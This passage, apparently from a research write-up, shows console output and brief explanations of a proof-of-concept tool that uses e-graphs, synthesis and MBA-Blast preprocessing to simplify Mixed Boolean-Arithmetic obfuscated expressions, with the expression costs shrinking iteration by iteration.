Synthesized (cost = 219): (((((((((((((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)&0x94)*0x67)*0xae)+(-((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)))*0x67)+0xd)*0x2d)+(((((((((((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)&0x94)*0x67)*0xae)+(-((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 650
Synthesized (cost = 181): ((((0xb+(0x1b*((0x2*((((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))+0x2e)&0x94))+(0xd2-((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))))))*0xed)+(((0x2*((0x2*((((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))+0x2e)&0x94))+(0xd2-((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46))))))+0xd6)|0x22))+0x55)
====================================================================================================
eclasses #: 3256
Synthesized (cost = 14): (((((x+x)&0x46)+(~(x+0xed)))+0x1)+0x49)
====================================================================================================
eclasses #: 48747
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
e-graph reset done.
====================================================================================================
eclasses #: 17
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
====================================================================================================
eclasses #: 28
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
====================================================================================================
eclasses #: 51
Synthesized (cost = 10): ((0x5c+(-x))+((x+x)&0x46))
====================================================================================================
eclasses #: 87
Synthesized (cost = 9): ((0x5c+((x+x)&0x46))-x)
====================================================================================================
Investigating the idea of reducing the amount of wasted information led to a concept resembling an incremental learning technique. In fact, during the synthesis phase, new knowledge is normally generated and discarded, while we could instead put it to good use. This new information can be divided into:
Both cases provide valuable knowledge that can be inserted into the e-graph, incrementally improving the results:
The following example shows how repurposing the runtime information leads to a smaller result with fewer e-classes in less iterations.
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 27
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 48
Synthesized (cost = 20): (((-((~x)+(x^y)))+(((x&y)*0x3)+0x1))-(x|(~y)))
====================================================================================================
eclasses #: 108
Synthesized (cost = 18): (((-(((~x)&y)-0x1))+(((x&y)*0x3)+0x1))-(~y))
====================================================================================================
eclasses #: 294
Synthesized (cost = 13): ((((x&y)+0x2)+((x&y)*0x3))+0x1)
====================================================================================================
eclasses #: 947
Synthesized (cost = 11): (((x&y)+0x3)+((x&y)*0x3))
====================================================================================================
eclasses #: 5786
Synthesized (cost = 7): ((0x4*(x&y))+0x3)
====================================================================================================
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 30
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 50
Synthesized (cost = 20): (((-((~x)+(x^y)))+(0x1+((x&y)*0x3)))-(x|(~y)))
====================================================================================================
eclasses #: 112
Synthesized (cost = 18): (((-((~x)+(x|y)))+(0x1+((x&y)*0x3)))-(~y))
====================================================================================================
eclasses #: 364
Synthesized (cost = 15): (((-(~(x&y)))+(0x1+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 1354
Synthesized (cost = 13): (((x&y)+(0x2+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 6358
Synthesized (cost = 11): ((x&y)+(0x3+((x&y)*0x3)))
====================================================================================================
There are cases in which preprocessing the input expression may increase the probability of achieving good synthesis results. In the proof of concept, two preprocessing steps have been included: First, a simplified implementation of MBA-Blast to shrink and normalize linear sub-expressions; then, a pass which converts multiplications by a small constant into sequences of additions, increasing the chance for the associativity rewriting to match synthesizable sub-expressions.
The open-source implementation of MBA-Blast currently does not not handle the processing of linear sub-expressions in non-linear or polynomial input forms. Further, it also does not implement the common sub-expression elimination idea proposed in the original publication. In our proof of concept, the input expression is turned into an AST with detection of common sub-expressions, enabling a transparent handling of the linear parts of a non-linear or polynomial input and attempting a layered elimination of common terms.
The base selection plays an important role in how effective the algebraic simplifications will be and if the layered elimination will be possible at all. In fact, it is currently unknown if there is an optimal way to pick the base given the expression’s properties. Therefore three default basis are provided: TINY (small terms preferred), HUGE (variables and-ed together) and HARD (hardcoded handpicked base).
This preprocessing step is an attempt to increase the amount of commutativity and associativity rewriting opportunities, hoping for some of those to cancel out sub-terms or turn them into synthesizable nodes. The explosion is currently being limited to small multiplicative constants. Usually this is fine, as the selected coefficients for in-the-wild MBA expressions are small, even though nothing would exclude the artificial usage of big coefficients, ruling this step out altogether.
The following tests showcase linear, non-linear and polynomial MBA expressions obtained from NeuReduce, MBA-Obfuscator, QSynthesis and own implementations of the first (rewriting) and third (encoding) theorems from the original Zhou et al. publications. Additionally, the selected expressions are only partially handled by the standard QSynthesis implementation.
python3 synth.py --use-constants-harvest
eclasses #: 10
Input (cost = 13): (((x|0x10)-((~x)&0x10))-(x&(-0x11)))
====================================================================================================
eclasses #: 14
Synthesized (cost = 5): (x-(x&0xef))
====================================================================================================
eclasses #: 22
Synthesized (cost = 3): (x&0x10)
====================================================================================================
python3 synth.py
eclasses #: 47
Input (cost = 75): ((((((((((((-((x^y)*0x4))-((~y)|(~z)))+(((~x)|(~y))*0x4))-((x|((~y)&z))*0x5))+(((~x)&(y|z))*0x3))+(x*0x7))-((((~x)|y)|z)*0x2))-((x^y)|(~z)))+(a&(~b)))-(~(a|b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 64
Synthesized (cost = 24): (((a-((~((-(y^z))-(x&(y^z))))-(a^b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 93
Synthesized (cost = 24): (((a-((~((-(y^z))-(x&(y^z))))-(a^b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 175
Synthesized (cost = 19): (((0xff+((-(y^z))-(x&(y^z))))-(~(a|b)))+0x2)
====================================================================================================
eclasses #: 501
Synthesized (cost = 16): ((((a|b)-(y^z))+(-(x&(y^z))))+0x2)
====================================================================================================
python3 synth.py --use-mba-blast-before --mba-blast-logic=2
Original: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))&y)^(~(((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))^((~y)|z))))&(~w))|((z^(~(((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))|(y&z))))&w))*0x3)+((((y^(~(x&(y&z))))&(~w))|(((x|y)&(~(x^(y^z))))&w))*0x1))-((((y^(~(x&(y&z))))&(~w))|((~(y^z))&w))*0x1))+((((z^(~(x&((~y)|z))))&(~w))|((x&(~z))&w))*0x1))-(((((x&y)|(~(y|z)))&(~w))|(((x&y)|(~(x^(y^z))))&w))*0x3))+((((z&(~(x&y)))&(~w))|((x&y)&w))*0x4))-(((((~(x^y))&(~(x^z)))&(~w))|(((x|y)&(x^(y^z)))&w))*0x1))+((((z^(~(x&((~y)&z))))&(~w))|((y^(x&((~y)|z)))&w))*0x2))-((((x&((~y)|z))&(~w))|(((x&(~y))|(~(y^z)))&w))*0xb))-(((((~(x|y))|(~(x^(y^z))))&(~w))|((~((~x)&(y^z)))&w))*0xb))+(((((x&y)|(y^z))&(~w))|((~(x^((~y)&z)))&w))*0x1))-(((((x&(~y))|(~(y^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x3))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)|(y&(~z)))&w))*0x5))-((((y^(x|(y^z)))&(~w))|(((~(x^y))|(x^z))&w))*0x1))+((((z^(~(x|((~y)&z))))&(~w))|((y^(x|((~y)|z)))&w))*0x2))+((((y|(~(x|(~z))))&(~w))|(((~x)|(y^z))&w))*0xb))-(((((x&(~y))|(y^z))&(~w))|((y&(~(x&(~z))))&w))*0x1))-(((((~(x&y))&(~(x^(y^z))))&(~w))|((z^(x|((~y)&z)))&w))*0x5))+((((y^(~(x&((~y)&z))))&(~w))|((z^(x|y))&w))*0x7))-(((((y&(~z))^((~x)|(y^z)))&(~w))|(((~y)&(~(x^z)))&w))*0x6))+((((z^(x&(~y)))&(~w))|((z^(x&y))&w))*0x1))+((((x|(~z))&(~w))|((x^(y|z))&w))*0x5))+((((~(x&(y|z)))&(~w))|((z&(~(x&y)))&w))*0x1))+((((y^(~((~x)&(y^z))))&(~w))|((y^(~(x&(~z))))&w))*0xb))+((((~(y&z))&(~w))|((x&(y^z))&w))*0x1))-(((((x&y)^(x^((~y)|z)))&(~w))|((x|((~y)|z))&w))*0x6))+(((((~(x&(~y)))&(y^z))&(~w))|((z^((~x)|(y|z)))&w))*0x1))+((((~(x&(~y)))&(~w))|((y^((~x)|(y^z)))&w))*0x1))+(((((~z)&(~(x^y)))&(~w))|((y^(~(x&(y&z))))&w))*0x5))-((((z^(x|(~y)))&(~w))|(((x&y)|(y^z))&w))*0x1))+(((((~y)&(x^z))&(~w))|((~(x|(~z)))&w))*0xb))-(((((~(x&y))&(x^(y^z)))&(~w))|(((x&y)^(y|(~z)))&w))*0x2))+((((y^(~(x|((~y)&z))))&(~w))|((z^(~(x&((~y)|z))))&w))*0x1))-(((((x&z)^(~(x^((~y)&z))))&(~w))|((~(y|z))&w))*0x2))-(((((x&y)|(~(y^z)))&(~w))|(((~y)&(~(x^z)))&w))*0x1))-((((~(x&(y^z)))&(~w))|((~(x&((~y)|z)))&w))*0x6))+((((x&y)&(~w))|(((~y)|(x^z))&w))*0x3))-(((((~x)|((~y)&z))&(~w))|(((~(x|y))|(y^z))&w))*0x7))+((((~(x|(y^z)))&(~w))|((x|(~z))&w))*0x1))-((((~(x|y))&(~w))|((z^(~((~x)&((~y)&z))))&w))*0x1))-((((z^(x|((~y)|z)))&(~w))|(((x|(~y))&(~(x^(y^z))))&w))*0x7))-((((x&(y|z))&(~w))|((z&(~(x&(~y))))&w))*0x3))+((((x^z)&(~w))|(((x&y)|(~(x^(y^z))))&w))*0x1))-((((~(y^z))&(~w))|(((y&z)^(~((~x)&(y^z))))&w))*0x1))+((((~(y|z))&(~w))|(((x^y)|(x^z))&w))*0x3))-((((x&(y|z))&(~w))|((y^(x|(y|z)))&w))*0x2))-(((((x|(~y))&(~(x^(y^z))))&(~w))|(((~(x|(~y)))|(~(y^z)))&w))*0x1))+((((x|(~z))&(~w))|((y^(x|((~y)|z)))&w))*0xb))+(((((~(x&(~y)))&(~(y^z)))&(~w))|((y^(~(x&(y&z))))&w))*0x2))+((((z^(~(x|y)))&(~w))|(((y&(~z))^((~x)|(y^z)))&w))*0x2))-((((~(x^y))&(~w))|(((~z)&(~(x^y)))&w))*0x6))-((((y^(~((~x)&(y|z))))&(~w))|((~(x|y))&w))*0x1))+((((x|(y&z))&(~w))|(((~(x&y))&(x^(y^z)))&w))*0x3))-((((z^(~((~x)&((~y)&z))))&(~w))|(((y&(~z))^(x|(y^z)))&w))*0xb))-((((z^(~(x|y)))&(~w))|((y^(x&(y|z)))&w))*0x7))+((((z|(~(x^y)))&(~w))|((z^((~x)|((~y)&z)))&w))*0x2))+(((((x|y)&(x^(y^z)))&(~w))|((z|(x&(~y)))&w))*0x1))+((((z&(~(x^y)))&(~w))|(((x&z)^(~(x^((~y)&z))))&w))*0x1))-(((((x&(~y))|(y^z))&(~w))|((~y)&w))*0x6))+((((y^(~(x|(y&z))))&(~w))|(((y&(~z))^((~x)|(y^z)))&w))*0x4))-((((~((~x)|((~y)|z)))&(~w))|((z&(x^y))&w))*0x5))-((((x^(y^z))&(~w))|((x&(~y))&w))*0x2))+(((((~(x|(~y)))|(~(x^(y^z))))&(~w))|(y&w))*0x2))-((((x|(y&z))&(~w))|((z^(~((~x)&((~y)|z))))&w))*0x1))-((((x&(~y))&(~w))|((z^(~(x|((~y)&z))))&w))*0x2))+((((z^(x&(y|z)))&(~w))|((z^((~x)|((~y)|z)))&w))*0x7))+(((((~x)|((~y)|z))&(~w))|((~(x|(y|z)))&w))*0x4))+((((y^(~(x|(y&z))))&(~w))|((~(x^((~y)&z)))&w))*0x2))+((((y^(~(x&(~z))))&(~w))|((y^((~x)&(y^z)))&w))*0x1))+((((z^(~(x&y)))&(~w))|(((x^y)|(x^z))&w))*0x1))+(((((x|(~y))&(x^(y^z)))&(~w))|((~(x&(~z)))&w))*0x5))-((((y^(x&((~y)|z)))&(~w))|((y^(x&((~y)|z)))&w))*0x2))+(((((x&y)^(~(x^(y&z))))&(~w))|((~(x&(~z)))&w))*0x1))-((((z&(x^y))&(~w))|(((x|y)&(y^z))&w))*0x3))-((((y|(~(x^z)))&(~w))|((~(x^((~y)|z)))&w))*0x2))-((((y^((~x)&(y|z)))&(~w))|(((~z)&(x^y))&w))*0x7))-((((~(x^(y&z)))&(~w))|((z|(~(x^y)))&w))*0x6))+(((((x&(~y))|(~(y^z)))&(~w))|((y^(~((~x)|((~y)&z))))&w))*0x1))+(((((~y)&(~(x^z)))&(~w))|((x&((~y)|z))&w))*0xb))-(((((y&z)^(~(x&(y^z))))&(~w))|(((~(x|y))|(y^z))&w))*0x1))+(((((x&z)|(y&(~z)))&(~w))|((z^((~x)&((~y)|z)))&w))*0x1))-((((~((~x)&((~y)|z)))&(~w))|(((~(x|y))|(~(y^z)))&w))*0x2))-((((y^((~x)|((~y)&z)))&(~w))|((~((~x)|((~y)|z)))&w))*0x1))+((~(x|(y|(z|w))))*0x8))-((~(x|((~y)|(z|w))))*0x7))-((~((~x)|(y|(z|w))))*0x7))+((~((~x)|((~y)|(z|w))))*0x7))+((~(x|(y|((~z)|w))))*0xd))+((~(x|((~y)|((~z)|w))))*0x15))+((~((~x)|(y|((~z)|w))))*0xa))+((~((~x)|((~y)|((~z)|w))))*0x6))+(((~x)&((~y)&((~z)&w)))*0xc))-(((~x)&(y&((~z)&w)))*0x1d))+((x&((~y)&((~z)&w)))*0xc))+((x&(y&((~z)&w)))*0xc))-(((~x)&((~y)&(z&w)))*0x20))+(((~x)&(y&(z&w)))*0xe))+((x&((~y)&(z&w)))*0xc))+((((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))&(y&(z&w)))*0xf))
MBA-Blast: (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+(((((~w)&(~x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((((~w)&(~x))&(~y))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((((~w)&(~x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+((((~w)&(~x))&(~y))&(~z)))
eclasses #: 47
Input (cost = 120): (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+(((((~w)&(~x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((((~w)&(~x))&(~y))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((((~w)&(~x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+((((~w)&(~x))&(~y))&(~z)))
====================================================================================================
eclasses #: 52
Synthesized (cost = 113): (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+((((~(w|x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((~(w|(x|y)))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+((((~(w|x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 102
Synthesized (cost = 92): (((((((((~(w^x))&(z-(y&z)))+((0x4*((y&z)&(w^x)))+((((~(w|x))&y)&z)*0x4)))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((~(w|(x|z)))&y)*0x3))+(((~(x|y))&w)&(~z)))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 194
Synthesized (cost = 79): (((((((((w&x)&(y^z))+(0x4*((z&y)-((w&x)&(z&y)))))+((~(w|(x|y)))&z))+((((~(w|z))&x)&y)*0x4))+(((~(x|z))&w)&y))+(((~(w|(x|z)))&y)*0x3))+((~(x|(y|z)))&w))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 457
Synthesized (cost = 64): ((((~((w|x)|(y|z)))+((~((y|z)|x))&w))+((((~(w|(x|z)))&y)*0x3)+(((y&(~(w|z)))&x)*0x4)))+(((y^z)&((~w)^(x|y)))+(0x4*((z&y)-((w&x)&(z&y))))))
====================================================================================================
eclasses #: 1462
Synthesized (cost = 46): (((((~(x|y))^((y^z)&w))+(0x4*((z&y)-((w&x)&(z&y)))))+(((~(w|(x|z)))&y)*0x3))+(((y&(~(w|z)))&x)*0x4))
====================================================================================================
eclasses #: 2377
Synthesized (cost = 35): (((((~(w|(x|z)))&y)*0x3)+((~(x|y))^((y^z)&w)))+(0x4*((y&(x|z))-((w&x)&y))))
====================================================================================================
python3 synth.py
eclasses #: 30
Input (cost = 55): ((~(((-(~((~((-(((~((y^(y+(-0x2)))&0x1))^(--0xff))+(-y)))+0x48))&((~(((-(((~((y^(y+(-0x2)))&0x1))^(--0xff))+(-y)))+0x48)|0x2))^0x2))))+(-z))+(-0x2)))+(-0x1))
====================================================================================================
eclasses #: 39
Synthesized (cost = 22): ((~(((-(~((~(y+0x48))&((~((y+0x48)|0x2))^0x2))))-z)+(-0x2)))+(-0x1))
====================================================================================================
eclasses #: 70
Synthesized (cost = 21): ((~(((-((y+0x48)|(~((~((y+0x48)|0x2))^0x2))))-z)+0xfe))+0xff)
====================================================================================================
eclasses #: 137
Synthesized (cost = 16): (-((-(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))-z))
====================================================================================================
eclasses #: 319
Synthesized (cost = 16): (~((~z)-(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2)))))
====================================================================================================
eclasses #: 804
Synthesized (cost = 14): (z+(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))
====================================================================================================
eclasses #: 1907
Synthesized (cost = 14): (z+(~((0xb7-y)&(((0xb7-y)&0xfd)^0x2))))
====================================================================================================
eclasses #: 7293
Synthesized (cost = 5): ((0x48+y)+z)
====================================================================================================
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 28
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 50
Synthesized (cost = 20): (((-((~x)+(x^y)))+(0x1+((x&y)*0x3)))-(x|(~y)))
====================================================================================================
eclasses #: 125
Synthesized (cost = 18): (((-((~x)+(x|y)))+(0x1+((x&y)*0x3)))-(~y))
====================================================================================================
eclasses #: 499
Synthesized (cost = 15): (((-(~(x&y)))+(0x1+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 2163
Synthesized (cost = 13): ((((x&y)+0x2)+((x&y)*0x3))+0x1)
====================================================================================================
eclasses #: 17036
Synthesized (cost = 11): ((0x3+(x&y))+((x&y)*0x3))
====================================================================================================
eclasses #: 255439
Synthesized (cost = 7): (0x3+(0x4*(x&y)))
e-graph reset done.
====================================================================================================
python3 synth.py --use-mba-blast-before --mba-blast-logic=1
Original: ((((((((((((((((z^((~x)&(y|z)))*0x8)*(x&y))-(((z^((~x)&(y|z)))*0x18)*(x&(~y))))+(((z^((~x)&(y|z)))*0x4)*(~(x|y))))-(((z^((~x)&(y|z)))*0x14)*(~(x|(~y)))))-(((~(x&(y&z)))*0x1e)*(x&y)))-(((~(x&(y&z)))*0xc)*(x&(~y))))+(((~(x&(y&z)))*0x24)*(x|y)))-(((~(x&(y&z)))*0x6)*(~(x^y))))+(((~(x&(y&z)))*0x9)*(~(x|y))))-(((~(x&(y&z)))*0xf)*(~(x|(~y)))))+(((z^((~x)&(y|z)))*0x1c)*(x^y)))-(((z^((~x)&(y|z)))*0x4)*y))-(((~(x&(y&z)))*0x15)*(x^y)))+(((~(x&(y&z)))*0x3)*y))
MBA-Blast: ((~(x&(~x)))*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+((~(x&(~x)))*0x3)))
eclasses #: 23
Input (cost = 41): ((~(x&(~x)))*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+((~(x&(~x)))*0x3)))
====================================================================================================
eclasses #: 27
Synthesized (cost = 31): (0xff*((((((y*0x4)-((x&y)*0x4))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 40
Synthesized (cost = 28): (-(((((0x4*(y-(x&y)))+((x&z)*0x4))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 79
Synthesized (cost = 26): (-((((0x4*((y-(x&y))+(x&z)))-((y&z)*0x4))+((x&y)&z))+0xfd))
====================================================================================================
eclasses #: 209
Synthesized (cost = 17): (0x3-((0x4*((x^y)&(y^z)))+((x&y)&z)))
====================================================================================================
eclasses #: 827
Synthesized (cost = 17): ((0x3-((x&y)&z))-(0x4*((x^y)&(y^z))))
====================================================================================================
eclasses #: 8319
Synthesized (cost = 17): ((0x3-((x&y)&z))-(0x4*((x^y)&(y^z))))
====================================================================================================
python3 synth.py
eclasses #: 44
Input (cost = 825): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+